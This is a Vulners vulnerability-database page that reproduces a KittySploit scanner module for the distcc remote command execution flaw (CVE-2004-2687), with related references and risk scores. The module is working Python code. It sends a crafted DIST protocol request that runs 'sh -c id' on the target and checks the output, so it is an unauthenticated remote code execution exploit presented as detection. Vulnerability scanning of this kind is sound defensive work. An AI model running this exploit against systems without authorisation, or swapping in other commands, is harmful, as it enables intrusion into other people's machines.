Lucene search
+L

distcc - Remote Command Execution Detection (CVE-2004-2687)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

distcc remote command execution via crafted DIST protocol ARGV request.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2004-2687
31 Dec 200400:00
–attackerkb
avleonov
Information Security Automation
Vulnerability Management at Tinkoff Fintech School
4 Mar 201910:38
–avleonov
githubexploit
GithubExploit
Exploit for CVE-2004-2687
20 Apr 202622:50
–githubexploit
githubexploit
GithubExploit
VulnLinux-Exploitation
7 Jun 202603:49
–githubexploit
circl
Circl
CVE-2004-2687
29 May 201815:50
–circl
cve
CVE
CVE-2004-2687
23 Sep 200723:00
–cve
cvelist
Cvelist
CVE-2004-2687
23 Sep 200723:00
–cvelist
debiancve
Debian CVE
CVE-2004-2687
23 Sep 200723:00
–debiancve
exploitdb
Exploit DB
DistCC Daemon Command Execution
3 Jul 201000:00
–exploitdb
exploitdb
Exploit DB
DistCC Daemon - Command Execution (Metasploit)
1 Feb 200200:00
–exploitdb
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""distcc remote command execution (CVE-2004-2687)."""

import re
import socket

from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client


class Module(Scanner, Tcp_scanner_client):
    __info__ = {
        'name': 'distcc - Remote Command Execution Detection (CVE-2004-2687)',
        'description': (
            'Detects CVE-2004-2687 by sending a crafted DIST protocol ARGV request '
            'that executes id via sh -c.'
        ),
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': [
            'scanner', 'tcp', 'distcc', 'cve', 'cve2004', 'rce', 'unauth', 'kev', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2004-2687',
        ],
        'cve': 'CVE-2004-2687',
    }

    port = OptPort(3632, 'distcc port', True)

    def run(self):
        host = self._host()
        port = self._port()
        if not host or not self.is_tcp_open(host, port):
            return False
        req = bytes([
            0x44, 0x49, 0x53, 0x54, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31,
            0x41, 0x52, 0x47, 0x43, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x38,
            0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
            0x73, 0x68,
            0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
            0x2d, 0x63,
            0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
        ]) + b'id' + bytes([
            0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31,
            0x23,
            0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
            0x2d, 0x63,
            0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x36,
            0x6d, 0x61, 0x69, 0x6e, 0x2e, 0x63,
            0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
            0x2d, 0x6f,
            0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x36,
            0x6d, 0x61, 0x69, 0x6e, 0x2e, 0x6f,
            0x44, 0x4f, 0x54, 0x49, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x41,
            0x57, 0x4a, 0x79, 0x55, 0x31, 0x6e, 0x70, 0x6f, 0x62, 0x76, 0x0a,
        ])
        try:
            sock = socket.create_connection((host, port), timeout=self._timeout())
            sock.settimeout(self._timeout())
            sock.sendall(req)
            recv = sock.recv(512).decode('latin-1', errors='replace')
            sock.close()
        except Exception:
            return False
        if re.search(r'uid=\d+.*gid=\d+', recv):
            self.set_info(
                severity='critical',
                reason='distcc RCE (CVE-2004-2687)',
                path=f'tcp/{port}',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
8.4High risk
Vulners AI Score8.4
CVSS 29.3
EPSS0.88195
2